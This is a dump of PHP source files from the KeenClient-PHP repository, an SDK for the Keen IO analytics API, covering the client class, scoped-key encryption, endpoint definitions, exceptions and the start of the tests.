* @method array extraction(string $eventCollection, array $args = array()) {@command KeenIO extraction}
*/
class KeenIOClient extends GuzzleClient
{
const VERSION = '2.8.0';
/**
* Factory to create new KeenIOClient instance.
*
* @param array $config
*
* @returns \KeenIO\Client\KeenIOClient
*/
public static function factory($config = array())
{
$default = array(
'masterKey' => null,
'writeKey' => null,
'readKey' => null,
'projectId' => null,
'organizationKey' => null,
'organizationId' => null,
'version' => '3.0',
'headers' => array(
'Keen-Sdk' => 'php-' . self::VERSION
)
);
// Create client configuration
$config = self::parseConfig($config, $default);
$file = 'keen-io-' . str_replace('.', '_', $config['version']) . '.php';
$guzzleClientConfig = $config;
unset(
$guzzleClientConfig['masterKey'],
$guzzleClientConfig['writeKey'],
$guzzleClientConfig['readKey'],
$guzzleClientConfig['projectId'],
$guzzleClientConfig['organizationKey'],
$guzzleClientConfig['organizationId'],
$guzzleClientConfig['version']
);
// Create the new Keen IO Client with our Configuration
return new self(
new Client($guzzleClientConfig),
new Description(include __DIR__ . "/Resources/{$file}"),
null,
function ($arg) {
return json_decode($arg->getBody(), true);
},
null,
$config
);
}
/**
* Magic method used to retrieve a command
*
* Overridden to allow the `event_collection` parameter to passed separately
* from the normal argument array.
*
* @param string $method Name of the command object to instantiate
* @param array $args Arguments to pass to the command
*
* @return mixed Returns the result of the command
*/
public function __call($method, array $args)
{
return parent::__call($method, array($this->combineEventCollectionArgs($args)));
}
/**
* @param string $name
* @param array<string, mixed> $args
*
* @return CommandInterface
*/
public function getCommand($name, array $params = [])
{
$params['projectId'] = $this->getConfig('projectId');
$params['masterKey'] = $this->getConfig('masterKey');
$params['writeKey'] = $this->getKeyForWriting();
$params['readKey'] = $this->getKeyForReading();
$params['organizationId'] = $this->getConfig('organizationId');
$params['organizationKey'] = $this->getConfig('organizationKey');
return parent::getCommand($name, $params);
}
/**
* Proxy the addEvent command (to be used as a shortcut)
*
* @param string $collection Name of the collection to store events
* @param array $event Event data to store
* @return mixed
*/
public function addEvent($collection, array $event = array())
{
$event['event_collection'] = $collection;
$event['projectId'] = $this->getConfig('projectId');
$event['writeKey'] = $this->getKeyForWriting();
$command = parent::getCommand('addEvent', $event);
return $this->execute($command);
}
/**
* Proxy the addEvents command (to be used as a shortcut)
*
* @param array $events Event data to store
* @return mixed
*/
public function addEvents(array $events = array())
{
$events['projectId'] = $this->getConfig('projectId');
$events['writeKey'] = $this->getKeyForWriting();
$command = parent::getCommand('addEvents', $events);
return $this->execute($command);
}
/**
* Sets the Project Id used by the Keen IO Client
*
* @param string $projectId
*/
public function setProjectId($projectId)
{
$this->setConfig('projectId', $projectId);
}
/**
* Gets the Project Id being used by the Keen IO Client
*
* @return string|null Value of the ProjectId or NULL
*/
public function getProjectId()
{
return $this->getConfig('projectId');
}
/**
* Sets the Organization Id used by the Keen IO Client
*
* @param string $organizationId
*/
public function setOrganizationId($organizationId)
{
$this->setConfig('organizationId', $organizationId);
}
/**
* Gets the Organization Id being used by the Keen IO Client
*
* @return string|null Value of the OrganizationId or NULL
*/
public function getOrganizationId()
{
return $this->getConfig('organizationId');
}
/**
* Sets the API Write Key used by the Keen IO Client
*
* @param string $writeKey
*/
public function setWriteKey($writeKey)
{
$this->setConfig('writeKey', $writeKey);
}
/**
* Gets the API Write Key being used by the Keen IO Client
*
* @return string|null Value of the WriteKey or NULL
*/
public function getWriteKey()
{
return $this->getConfig('writeKey');
}
/**
* Gets a key which can be used for API Write requests
*
* @return string|null Value of the key or NULL
*/
public function getKeyForWriting()
{
return $this->getWriteKey() ?: $this->getMasterKey();
}
/**
* Sets the API Read Key used by the Keen IO Client
*
* @param string $readKey
*/
public function setReadKey($readKey)
{
$this->setConfig('readKey', $readKey);
}
/**
* Gets the API Read Key being used by the Keen IO Client
*
* @return string|null Value of the ReadKey or NULL
*/
public function getReadKey()
{
return $this->getConfig('readKey');
}
/**
* Gets a key which can be used for API Read requests
*
* @return string|null Value of the key or NULL
*/
public function getKeyForReading()
{
return $this->getReadKey() ?: $this->getMasterKey();
}
/**
* Sets the API Master Key used by the Keen IO Client
*
* @param string $masterKey
*/
public function setMasterKey($masterKey)
{
$this->setConfig('masterKey', $masterKey);
}
/**
* Gets the API Master Key being used by the Keen IO Client
*
* @return string|null Value of the MasterKey or NULL
*/
public function getMasterKey()
{
return $this->getConfig('masterKey');
}
/**
* Sets the API Version used by the Keen IO Client.
* Changing the API Version will attempt to load a new Service Definition for that Version.
*
* @param string $version
*/
public function setVersion($version)
{
$this->setConfig('version', $version);
}
/**
* Gets the Version being used by the Keen IO Client
*
* @return string|null Value of the Version or NULL
*/
public function getVersion()
{
return $this->getConfig('version');
}
/**
* ----------------------------------------------------------------------------------------------------
* SCOPED KEY RELATED METHODS
* ----------------------------------------------------------------------------------------------------
*/
/**
* Get a scoped key for an array of filters
*
* @param array $filters What filters to encode into a scoped key
* @param array $allowedOperations What operations the generated scoped key will allow
* @return string
* @throws RuntimeException If no master key is set
*/
public function createScopedKey($filters, $allowedOperations)
{
if (!$masterKey = $this->getMasterKey()) {
throw new RuntimeException('A master key is needed to create a scoped key');
}
$options = array('filters' => $filters);
if (!empty($allowedOperations)) {
$options['allowed_operations'] = $allowedOperations;
}
$apiKey = pack('H*', $masterKey);
$opensslOptions = \OPENSSL_RAW_DATA;
$optionsJson = json_encode($options);
/**
* Use the old block size and hex string input if using a legacy master key.
* Old block size was 32 bytes and old master key was 32 hex characters in length.
*/
if (strlen($masterKey) == 32) {
$apiKey = $masterKey;
// Openssl's built-in PKCS7 padding won't use the 32 bytes block size, so apply it in userland
// and use OPENSSL zero padding (no-op as already padded)
$opensslOptions |= \OPENSSL_ZERO_PADDING;
$optionsJson = $this->padString($optionsJson, 32);
}
$cipher = 'AES-256-CBC';
$ivLength = openssl_cipher_iv_length($cipher);
$iv = random_bytes($ivLength);
$encrypted = openssl_encrypt($optionsJson, $cipher, $apiKey, $opensslOptions, $iv);
$ivHex = bin2hex($iv);
$encryptedHex = bin2hex($encrypted);
$scopedKey = $ivHex . $encryptedHex;
return $scopedKey;
}
/**
* Implement PKCS7 padding
*
* @param string $string
* @param int $blockSize
*
* @return string
*/
protected function padString($string, $blockSize = 32)
{
$paddingSize = $blockSize - (strlen($string) % $blockSize);
$string .= str_repeat(chr($paddingSize), $paddingSize);
return $string;
}
/**
* Decrypt a scoped key (primarily used for testing)
*
* @param string $scopedKey The scoped Key to decrypt
* @return mixed
* @throws RuntimeException If no master key is set
*/
public function decryptScopedKey($scopedKey)
{
if (!$masterKey = $this->getMasterKey()) {
throw new RuntimeException('A master key is needed to decrypt a scoped key');
}
$apiKey = pack('H*', $masterKey);
$opensslOptions = \OPENSSL_RAW_DATA;
$paddedManually = false;
// Use the old hex string input if using a legacy master key
if (strlen($masterKey) == 32) {
$apiKey = $masterKey;
// Openssl's built-in PKCS7 padding won't use the 32 bytes block size, so apply it in userland
// and use OPENSSL zero padding (no-op as already padded)
$opensslOptions |= \OPENSSL_ZERO_PADDING;
$paddedManually = true;
}
$cipher = 'AES-256-CBC';
$ivLength = openssl_cipher_iv_length($cipher) * 2;
$ivHex = substr($scopedKey, 0, $ivLength);
$encryptedHex = substr($scopedKey, $ivLength);
$result = openssl_decrypt(
pack('H*', $encryptedHex),
$cipher,
$apiKey,
$opensslOptions,
pack('H*', $ivHex)
);
if ($paddedManually) {
$result = $this->unpadString($result);
}
return json_decode($result, true);
}
/**
* Remove padding for a PKCS7-padded string
*
* @param string $string
* @return string
*/
protected function unpadString($string)
{
$len = strlen($string);
$pad = ord($string[$len - 1]);
return substr($string, 0, $len - $pad);
}
/**
* Attempt to parse config and apply defaults
*
* @param array $config
* @param array $default
*
* @return array Returns the updated config array
*/
protected static function parseConfig($config, $default)
{
array_walk($default, function ($value, $key) use (&$config) {
if (empty($config[$key]) || !isset($config[$key])) {
$config[$key] = $value;
}
});
return $config;
}
/**
* Translate a set of args to merge a lone event_collection into
* an array with the other params
*
* @param array $args Arguments to be formatted
*
* @return array A single array with event_collection merged in
* @access private
*/
private static function combineEventCollectionArgs(array $args)
{
$formattedArgs = array();
if (isset($args[0]) && is_string($args[0])) {
$formattedArgs['event_collection'] = $args[0];
if (isset($args[1]) && is_array($args[1])) {
$formattedArgs = array_merge($formattedArgs, $args[1]);
}
} elseif (isset($args[0]) && is_array($args[0])) {
$formattedArgs = $args[0];
}
return $formattedArgs;
}
public static function cleanQueryName($raw)
{
$filtered = str_replace(' ', '-', $raw);
$filtered = preg_replace("/[^A-Za-z0-9_\-]/", "", $filtered);
return $filtered;
}
}
| php | MIT | 755f7c145091108ceb9d515f8fcde7a5ec367386 | 2026-01-05T05:13:53.479380Z | false |
keenlabs/KeenClient-PHP | https://github.com/keenlabs/KeenClient-PHP/blob/755f7c145091108ceb9d515f8fcde7a5ec367386/src/Client/Filter/MultiTypeFiltering.php | src/Client/Filter/MultiTypeFiltering.php | <?php
/*
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
* "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
* LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
* A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
* OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
* SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
* LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
* DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
* THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
* (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
* OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*
* This software consists of voluntary contributions made by many individuals
* and is licensed under the MIT license.
*/
namespace KeenIO\Client\Filter;
/**
* Some KeenIO parameters can either be string or array, and the encoding changes based on the type
*
* @author Michaël Gallego <mic.gallego@gmail.com>
*/
class MultiTypeFiltering
{
/**
* @param string|array $value
* @return mixed
*/
public static function encodeValue($value)
{
return is_string($value) ? $value : json_encode($value);
}
}
| php | MIT | 755f7c145091108ceb9d515f8fcde7a5ec367386 | 2026-01-05T05:13:53.479380Z | false |
keenlabs/KeenClient-PHP | https://github.com/keenlabs/KeenClient-PHP/blob/755f7c145091108ceb9d515f8fcde7a5ec367386/src/Client/Resources/keen-io-3_0.php | src/Client/Resources/keen-io-3_0.php | <?php
return array(
'name' => 'KeenIO',
'baseUri' => 'https://api.keen.io/3.0/',
'apiVersion' => '3.0',
'operations' => array(
'getResources' => array(
'uri' => '/',
'description' => 'Returns the available child resources. Currently, the only child '
. 'resource is the Projects Resource.',
'httpMethod' => 'GET',
'parameters' => array(
'masterKey' => array(
'location' => 'header',
'description' => 'The Master Api Key',
'sentAs' => 'Authorization',
'pattern' => '/^([[:alnum:]])+$/',
'type' => 'string',
'required' => true,
),
),
),
'createProject' => array(
'uri' => 'organizations/{organizationId}/projects',
'description' => 'Creates a project for the specified organization and returns the '
. 'project id for later usage.',
'httpMethod' => 'POST',
'parameters' => array(
'organizationId' => array(
'location' => 'uri',
'type' => 'string'
),
'organizationKey' => array(
'location' => 'header',
'description' => 'The Organization Key.',
'sentAs' => 'Authorization',
'pattern' => '/^([[:alnum:]])+$/',
'type' => 'string',
'required' => true,
),
),
'additionalParameters' => array(
'location' => 'json'
),
),
'getProjects' => array(
'uri' => 'projects',
'description' => 'Returns the projects accessible to the API user, as well as '
. 'links to project sub-resources for discovery.',
'httpMethod' => 'GET',
'parameters' => array(
'masterKey' => array(
'location' => 'header',
'description' => 'The Master API Key.',
'sentAs' => 'Authorization',
'pattern' => '/^([[:alnum:]])+$/',
'type' => 'string',
'required' => true,
),
),
),
'getProject' => array(
'uri' => 'projects/{projectId}',
'description' => 'GET returns detailed information about the specific project, '
. 'as well as links to related resources.',
'httpMethod' => 'GET',
'parameters' => array(
'projectId' => array(
'location' => 'uri',
'type' => 'string'
),
'masterKey' => array(
'location' => 'header',
'description' => 'The Master API Key.',
'sentAs' => 'Authorization',
'pattern' => '/^([[:alnum:]])+$/',
'type' => 'string',
'required' => true,
),
),
),
'getSavedQueries' => array(
'uri' => 'projects/{projectId}/queries/saved',
'description' => 'Returns the saved queries accessible to the API user on the specified project.',
'httpMethod' => 'GET',
'parameters' => array(
'projectId' => array(
'location' => 'uri',
'type' => 'string'
),
'masterKey' => array(
'location' => 'header',
'description' => 'The Master API Key.',
'sentAs' => 'Authorization',
'pattern' => '/^([[:alnum:]])+$/',
'type' => 'string',
'required' => true,
),
),
),
'getSavedQuery' => array(
'uri' => 'projects/{projectId}/queries/saved/{query_name}',
'description' => 'Returns the detailed information about the specified query, as '
. 'well as links to retrieve results.',
'httpMethod' => 'GET',
'parameters' => array(
'projectId' => array(
'location' => 'uri',
'type' => 'string'
),
'masterKey' => array(
'location' => 'header',
'description' => 'The Master API Key.',
'sentAs' => 'Authorization',
'pattern' => '/^([[:alnum:]])+$/',
'type' => 'string',
'required' => true,
),
'query_name' => array(
'location' => 'uri',
'description' => 'The saved query.',
'required' => true,
),
),
),
'createSavedQuery' => array(
'uri' => 'projects/{projectId}/queries/saved/{query_name}',
'description' => 'Creates the described query.',
'httpMethod' => 'PUT',
'parameters' => array(
'projectId' => array(
'location' => 'uri',
'type' => 'string'
),
'masterKey' => array(
'location' => 'header',
'description' => 'The Master API Key.',
'sentAs' => 'Authorization',
'pattern' => '/^([[:alnum:]])+$/',
'type' => 'string',
'required' => true,
),
'query_name' => array(
'location' => 'uri',
'description' => 'The desired name of the query.',
'filters' => array([
"method" => '\KeenIO\Client\KeenIOClient::cleanQueryName',
"args" => ["@value"]
]),
'required' => true,
),
'query' => array(
'location' => 'json',
'type' => 'array',
),
),
),
'updateSavedQuery' => array(
'uri' => 'projects/{projectId}/queries/saved/{query_name}',
'description' => 'Creates the described query.',
'httpMethod' => 'PUT',
'parameters' => array(
'projectId' => array(
'location' => 'uri',
'type' => 'string'
),
'masterKey' => array(
'location' => 'header',
'description' => 'The Master API Key.',
'sentAs' => 'Authorization',
'pattern' => '/^([[:alnum:]])+$/',
'type' => 'string',
'required' => true,
),
'query_name' => array(
'location' => 'uri',
'description' => 'The desired name of the query.',
'filters' => array([
"method" => '\KeenIO\Client\KeenIOClient::cleanQueryName',
"args" => ["@value"]
]),
'required' => true,
),
'query' => array(
'location' => 'json',
'type' => 'array',
),
),
),
'deleteSavedQuery' => array(
'uri' => 'projects/{projectId}/queries/saved/{query_name}',
'description' => 'Deletes the specified query.',
'httpMethod' => 'DELETE',
'parameters' => array(
'projectId' => array(
'location' => 'uri',
'type' => 'string'
),
'masterKey' => array(
'location' => 'header',
'description' => 'The Master API Key.',
'sentAs' => 'Authorization',
'pattern' => '/^([[:alnum:]])+$/',
'type' => 'string',
'required' => true,
),
'query_name' => array(
'location' => 'uri',
'description' => 'The saved query.',
'required' => true,
),
),
),
'getSavedQueryResults' => array(
'uri' => 'projects/{projectId}/queries/saved/{query_name}/result',
'description' => 'Returns the results of executing the specified query.',
'httpMethod' => 'GET',
'parameters' => array(
'projectId' => array(
'location' => 'uri',
'type' => 'string'
),
'masterKey' => array(
'location' => 'header',
'description' => 'The Master API Key.',
'sentAs' => 'Authorization',
'pattern' => '/^([[:alnum:]])+$/',
'type' => 'string',
'required' => true,
),
'query_name' => array(
'location' => 'uri',
'description' => 'The saved query.',
'required' => true,
),
),
),
'getCollections' => array(
'uri' => 'projects/{projectId}/events',
'description' => 'GET returns schema information for all the event collections in this project, '
. 'including properties and their type. It also returns links to sub-resources.',
'httpMethod' => 'GET',
'parameters' => array(
'projectId' => array(
'location' => 'uri',
'type' => 'string'
),
'masterKey' => array(
'location' => 'header',
'description' => 'The Master API Key.',
'sentAs' => 'Authorization',
'pattern' => '/^([[:alnum:]])+$/',
'type' => 'string',
'required' => true,
),
),
),
'getEventSchemas' => array(
'extends' => 'getCollections'
),
'getCollection' => array(
'uri' => 'projects/{projectId}/events/{event_collection}',
'description' => 'GET returns available schema information for this event collection, including '
. 'properties and their type. It also returns links to sub-resources.',
'httpMethod' => 'GET',
'parameters' => array(
'projectId' => array(
'location' => 'uri',
'type' => 'string'
),
'masterKey' => array(
'location' => 'header',
'description' => 'The Master API Key.',
'sentAs' => 'Authorization',
'pattern' => '/^([[:alnum:]])+$/',
'type' => 'string',
'required' => true,
),
'event_collection' => array(
'location' => 'uri',
'description' => 'The event collection.',
'required' => true,
),
),
),
'deleteCollection' => array(
'uri' => 'projects/{projectId}/events/{collection_name}',
'description' => 'Deletes the specified collection.',
'httpMethod' => 'DELETE',
'parameters' => array(
'projectId' => array(
'location' => 'uri',
'type' => 'string'
),
'masterKey' => array(
'location' => 'header',
'description' => 'The Master API Key.',
'sentAs' => 'Authorization',
'pattern' => '/^([[:alnum:]])+$/',
'type' => 'string',
'required' => true,
),
'collection_name' => array(
'location' => 'uri',
'description' => 'The collection name.',
'required' => true,
),
),
),
'getProperty' => array(
'uri' => 'projects/{projectId}/events/{event_collection}/properties/{property_name}',
'description' => 'GET returns the property name, type, and a link to sub-resources.',
'httpMethod' => 'GET',
'parameters' => array(
'projectId' => array(
'location' => 'uri',
'type' => 'string'
),
'masterKey' => array(
'location' => 'header',
'description' => 'The Master API Key.',
'sentAs' => 'Authorization',
'pattern' => '/^([[:alnum:]])+$/',
'type' => 'string',
'required' => true,
),
'event_collection' => array(
'location' => 'uri',
'description' => 'The event collection.',
'required' => true,
),
'property_name' => array(
'location' => 'uri',
'description' => 'The property name to inspect',
'type' => 'string',
'required' => true,
),
),
),
'addEvent' => array(
'uri' => 'projects/{projectId}/events/{event_collection}',
'description' => 'POST inserts an event into the specified collection.',
'httpMethod' => 'POST',
'parameters' => array(
'projectId' => array(
'location' => 'uri',
'type' => 'string'
),
'writeKey' => array(
'location' => 'header',
'description' => 'The Write Key for the project.',
'sentAs' => 'Authorization',
'pattern' => '/^([[:alnum:]])+$/',
'type' => 'string',
'required' => false,
),
'event_collection' => array(
'location' => 'uri',
'description' => 'The event collection.',
'required' => true,
),
),
'additionalParameters' => array(
'location' => 'json'
),
),
'addEvents' => array(
'uri' => 'projects/{projectId}/events',
'description' => 'POST inserts multiple events in one or more collections, in a single request. The API '
. 'expects a JSON object whose keys are the names of each event collection you want to '
. 'insert into. Each key should point to a list of events to insert for that event '
. 'collection.',
'httpMethod' => 'POST',
'parameters' => array(
'projectId' => array(
'location' => 'uri',
'type' => 'string'
),
'writeKey' => array(
'location' => 'header',
'description' => 'The Write Key for the project.',
'sentAs' => 'Authorization',
'pattern' => '/^([[:alnum:]])+$/',
'type' => 'string',
'required' => false,
),
),
'additionalParameters' => array(
'location' => 'json',
),
),
'deleteEvents' => array(
'uri' => 'projects/{projectId}/events/{event_collection}',
'description' => 'DELETE one or multiple events from a collection. You can optionally add filters, '
. 'timeframe or timezone. You can delete up to 50,000 events using one method call',
'httpMethod' => 'DELETE',
'parameters' => array(
'projectId' => array(
'location' => 'uri',
'type' => 'string'
),
'masterKey' => array(
'location' => 'header',
'description' => 'The Master API key.',
'sentAs' => 'Authorization',
'pattern' => '/^([[:alnum:]])+$/',
'type' => 'string',
'required' => true,
),
'event_collection' => array(
'location' => 'uri',
'description' => 'The event collection.',
'required' => true,
),
'filters' => array(
'location' => 'query',
'description' => 'Filters are used to narrow down the events used in an analysis request based on '
. 'event property values.',
'type' => 'array',
'required' => false,
),
'timeframe' => array(
'location' => 'query',
'description' => 'A Timeframe specifies the events to use for analysis based on a window of time. '
. 'If no timeframe is specified, all events will be counted.',
'type' => array('string', 'array'),
'filters' => array('KeenIO\Client\Filter\MultiTypeFiltering::encodeValue'),
'required' => false,
),
'timezone' => array(
'location' => 'query',
'description' => 'Modifies the timeframe filters for Relative Timeframes to match a specific '
. 'timezone.',
'type' => array('string', 'number'),
'required' => false,
),
),
),
'deleteEventProperties' => array(
'uri' => 'projects/{projectId}/events/{event_collection}/properties/{property_name}',
'description' => 'DELETE one property for events. This only works for properties with less than 10,000 '
. 'events.',
'httpMethod' => 'DELETE',
'parameters' => array(
'projectId' => array(
'location' => 'uri',
'type' => 'string'
),
'writeKey' => array(
'location' => 'header',
'description' => 'The Write Key for the project.',
'sentAs' => 'Authorization',
'pattern' => '/^([[:alnum:]])+$/',
'type' => 'string',
'required' => false,
),
'event_collection' => array(
'location' => 'uri',
'description' => 'The event collection.',
'required' => true,
),
'property_name' => array(
'location' => 'uri',
'description' => 'Name of the property to delete.',
'type' => 'string',
'required' => true,
),
),
),
'count' => array(
'uri' => 'projects/{projectId}/queries/count',
'description' => 'POST returns the number of resources in the event collection matching the given criteria.'
. ' The response will be a simple JSON object with one key: a numeric result.',
'httpMethod' => 'POST',
'parameters' => array(
'projectId' => array(
'location' => 'uri',
'type' => 'string'
),
'readKey' => array(
'location' => 'header',
'description' => 'The Read Key for the project.',
'sentAs' => 'Authorization',
'pattern' => '/^([[:alnum:]])+$/',
'type' => 'string',
'required' => false,
),
'event_collection' => array(
'location' => 'json',
'description' => 'The name of the event collection you are analyzing.',
'type' => 'string',
'required' => true,
),
'filters' => array(
'location' => 'json',
'description' => 'Filters are used to narrow down the events used in an analysis request based on '
. 'event property values.',
'type' => 'array',
'required' => false,
),
'timeframe' => array(
'location' => 'json',
'description' => 'A Timeframe specifies the events to use for analysis based on a window of time. '
. 'If no timeframe is specified, all events will be counted.',
'type' => array('string', 'array'),
'required' => false,
),
'interval' => array(
'location' => 'json',
'description' => 'Intervals are used when creating a Series API call. The interval specifies the '
. 'length of each sub-timeframe in a Series.',
'type' => 'string',
'required' => false,
),
'timezone' => array(
'location' => 'json',
'description' => 'Modifies the timeframe filters for Relative Timeframes to match a specific '
. 'timezone.',
'type' => array('string', 'number'),
'required' => false,
),
'group_by' => array(
'location' => 'json',
'description' => 'The group_by parameter specifies the name of a property by which you would '
. 'like to group the results.',
'type' => array('string', 'array'),
'required' => false,
),
'include_metadata' => array(
'location' => 'json',
'description' => 'Specifies whether to enrich query results with execution metadata or not.',
'type' => 'boolean',
'required' => false,
),
),
),
'countUnique' => array(
'uri' => 'projects/{projectId}/queries/count_unique',
'description' => 'POST returns the number of UNIQUE resources in the event collection matching the given '
. 'criteria. The response will be a simple JSON object with one key: result, which maps '
. 'to the numeric result described previously.',
'httpMethod' => 'POST',
'parameters' => array(
'projectId' => array(
'location' => 'uri',
'type' => 'string'
),
'readKey' => array(
'location' => 'header',
'description' => 'The Read Key for the project.',
'sentAs' => 'Authorization',
'pattern' => '/^([[:alnum:]])+$/',
'type' => 'string',
'required' => false,
),
'event_collection' => array(
'location' => 'json',
'description' => 'The name of the event collection you are analyzing.',
'type' => 'string',
'required' => true,
),
'target_property' => array(
'location' => 'json',
'description' => 'The name of the property you are analyzing.',
'type' => 'string',
'required' => true,
),
'filters' => array(
'location' => 'json',
'description' => 'Filters are used to narrow down the events used in an analysis request based on '
. 'event property values.',
'type' => 'array',
'required' => false,
),
'timeframe' => array(
'location' => 'json',
'description' => 'A Timeframe specifies the events to use for analysis based on a window of time. '
. 'If no timeframe is specified, all events will be counted.',
'type' => array('string', 'array'),
'required' => false,
),
'interval' => array(
'location' => 'json',
'description' => 'Intervals are used when creating a Series API call. The interval specifies the '
. 'length of each sub-timeframe in a Series.',
'type' => 'string',
'required' => false,
),
'timezone' => array(
'location' => 'json',
'description' => 'Modifies the timeframe filters for Relative Timeframes to match a specific '
. 'timezone.',
'type' => array('string', 'number'),
'required' => false,
),
'group_by' => array(
'location' => 'json',
'description' => 'The group_by parameter specifies the name of a property by which you would '
. 'like to group the results.',
'type' => array('string', 'array'),
'required' => false,
),
'include_metadata' => array(
'location' => 'json',
'description' => 'Specifies whether to enrich query results with execution metadata or not.',
'type' => 'boolean',
'required' => false,
),
),
),
'minimum' => array(
'uri' => 'projects/{projectId}/queries/minimum',
'description' => 'POST returns the minimum numeric value for the target property in the event collection '
. 'matching the given criteria. Non-numeric values are ignored. The response will be a '
. 'simple JSON object with one key: result, which maps to the numeric result described '
. 'previously.',
'httpMethod' => 'POST',
'parameters' => array(
'projectId' => array(
'location' => 'uri',
'type' => 'string'
),
'readKey' => array(
'location' => 'header',
'description' => 'The Read Key for the project.',
'sentAs' => 'Authorization',
'pattern' => '/^([[:alnum:]])+$/',
'type' => 'string',
'required' => false,
),
'event_collection' => array(
'location' => 'json',
'description' => 'The name of the event collection you are analyzing.',
'type' => 'string',
'required' => true,
),
'target_property' => array(
'location' => 'json',
'description' => 'The name of the property you are analyzing.',
'type' => 'string',
'required' => true,
),
'filters' => array(
'location' => 'json',
'description' => 'Filters are used to narrow down the events used in an analysis request based on '
. 'event property values.',
'type' => 'array',
'required' => false,
),
'timeframe' => array(
'location' => 'json',
'description' => 'A Timeframe specifies the events to use for analysis based on a window of time. '
. 'If no timeframe is specified, all events will be counted.',
'type' => array('string', 'array'),
'required' => false,
),
'interval' => array(
'location' => 'json',
'description' => 'Intervals are used when creating a Series API call. The interval specifies the '
. 'length of each sub-timeframe in a Series.',
'type' => 'string',
'required' => false,
),
'timezone' => array(
'location' => 'json',
'description' => 'Modifies the timeframe filters for Relative Timeframes to match a specific '
. 'timezone.',
'type' => array('string', 'number'),
'required' => false,
),
'group_by' => array(
'location' => 'json',
'description' => 'The group_by parameter specifies the name of a property by which you would '
. 'like to group the results.',
'type' => array('string', 'array'),
'required' => false,
),
'include_metadata' => array(
'location' => 'json',
'description' => 'Specifies whether to enrich query results with execution metadata or not.',
'type' => 'boolean',
'required' => false,
),
),
),
'maximum' => array(
'uri' => 'projects/{projectId}/queries/maximum',
'description' => 'POST returns the maximum numeric value for the target property in the event collection '
. 'matching the given criteria. Non-numeric values are ignored. The response will be a '
| php | MIT | 755f7c145091108ceb9d515f8fcde7a5ec367386 | 2026-01-05T05:13:53.479380Z | true |
keenlabs/KeenClient-PHP | https://github.com/keenlabs/KeenClient-PHP/blob/755f7c145091108ceb9d515f8fcde7a5ec367386/src/Exception/ExceptionInterface.php | src/Exception/ExceptionInterface.php | <?php
namespace KeenIO\Exception;
/**
* Exception interface
*/
interface ExceptionInterface
{
}
| php | MIT | 755f7c145091108ceb9d515f8fcde7a5ec367386 | 2026-01-05T05:13:53.479380Z | false |
keenlabs/KeenClient-PHP | https://github.com/keenlabs/KeenClient-PHP/blob/755f7c145091108ceb9d515f8fcde7a5ec367386/src/Exception/RuntimeException.php | src/Exception/RuntimeException.php | <?php
namespace KeenIO\Exception;
use RuntimeException as BaseRuntimeException;
/**
* Runtime exception
*/
class RuntimeException extends BaseRuntimeException implements ExceptionInterface
{
}
| php | MIT | 755f7c145091108ceb9d515f8fcde7a5ec367386 | 2026-01-05T05:13:53.479380Z | false |
keenlabs/KeenClient-PHP | https://github.com/keenlabs/KeenClient-PHP/blob/755f7c145091108ceb9d515f8fcde7a5ec367386/tests/bootstrap.php | tests/bootstrap.php | <?php
error_reporting(-1);
// Ensure that composer has installed all dependencies
if (!@require dirname(__DIR__) . '/vendor/autoload.php') {
die("Dependencies must be installed using composer:\n\nphp composer.phar install\n\n"
. "See http://getcomposer.org for help with installing composer\n");
}
| php | MIT | 755f7c145091108ceb9d515f8fcde7a5ec367386 | 2026-01-05T05:13:53.479380Z | false |
keenlabs/KeenClient-PHP | https://github.com/keenlabs/KeenClient-PHP/blob/755f7c145091108ceb9d515f8fcde7a5ec367386/tests/Tests/Filter/MultiTypeFilteringTest.php | tests/Tests/Filter/MultiTypeFilteringTest.php | <?php
/*
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
* "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
* LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
* A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
* OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
* SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
* LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
* DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
* THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
* (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
* OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*
* This software consists of voluntary contributions made by many individuals
* and is licensed under the MIT license.
*/
namespace KeenIO\Tests\Filter;
use KeenIO\Client\Filter\MultiTypeFiltering;
use PHPUnit\Framework\TestCase;
class MultiTypeFilteringTest extends TestCase
{
public function testCanEncode()
{
$this->assertEquals('foo', MultiTypeFiltering::encodeValue('foo'));
$this->assertEquals('{"foo":"bar"}', MultiTypeFiltering::encodeValue(array('foo' => 'bar')));
}
}
| php | MIT | 755f7c145091108ceb9d515f8fcde7a5ec367386 | 2026-01-05T05:13:53.479380Z | false |
keenlabs/KeenClient-PHP | https://github.com/keenlabs/KeenClient-PHP/blob/755f7c145091108ceb9d515f8fcde7a5ec367386/tests/Tests/Client/KeenIOClientTest.php | tests/Tests/Client/KeenIOClientTest.php | <?php
namespace KeenIO\Tests\Client;
use GuzzleHttp\Command\Exception\CommandClientException;
use KeenIO\Client\KeenIOClient;
use GuzzleHttp\Handler\MockHandler;
use GuzzleHttp\HandlerStack;
